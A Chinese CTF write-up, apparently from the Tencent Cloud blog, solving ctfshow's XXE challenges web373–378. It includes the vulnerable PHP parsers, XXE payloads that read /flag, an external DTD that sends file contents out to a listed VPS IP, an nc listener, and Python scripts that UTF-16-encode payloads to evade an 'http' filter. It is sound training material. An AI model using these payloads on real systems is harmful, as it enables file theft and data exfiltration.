前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布

XXE

作者头像
故里[TRUE]
发布2023-04-19 20:25:02
3790
发布2023-04-19 20:25:02
举报

XXE刷题记录

首先得先初步了解一下什么是xxe,推荐下面这个

一篇文章带你深入理解漏洞之 XXE 漏洞

XML与xxe注入基础知识

web373(有回显)

正常的xxe

代码语言:javascript
复制
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);
代码语言:javascript
复制
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<yu22x>
<ctfshow>&xxe;</ctfshow>
</yu22x>

web374-376(无回显)

无回显xxe可以利用自己的vps带外输出。

为区分嵌套实体和实体之间的关系,可以通过单双引号来间隔开,引号中嵌套一个参数实体,其%号需要写成:%,也可写为16进制的%

利用vps外带输出有以下步骤:

test.dtd

代码语言:javascript
复制
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://150.158.181.145:9999/%file;'> ">
%dtd;
%xxe;

然后看这题

代码语言:javascript
复制
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

payload

代码语言:javascript
复制
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://150.158.181.145/test.dtd">
%aaa;
]>
<root>123</root>

监听

代码语言:javascript
复制
nc -lvp 9999

这几题都是这样,就略了

web377

代码语言:javascript
复制
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

过滤了http

使用utf-16进行绕过

脚本就行了

代码语言:javascript
复制
import requests
url = 'http://5cbbc523-7be1-47ce-900a-ff43444fc2e4.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

是一个登陆界面

可以看到是xml形式

poaylaod如下

代码语言:javascript
复制
import requests
url = 'http://a4dbaa21-b059-41c9-8ce5-6900f508a9aa.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://150.158.181.145/test.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-042,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • web373(有回显)
  • web374-376(无回显)
  • web377
  • web378
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档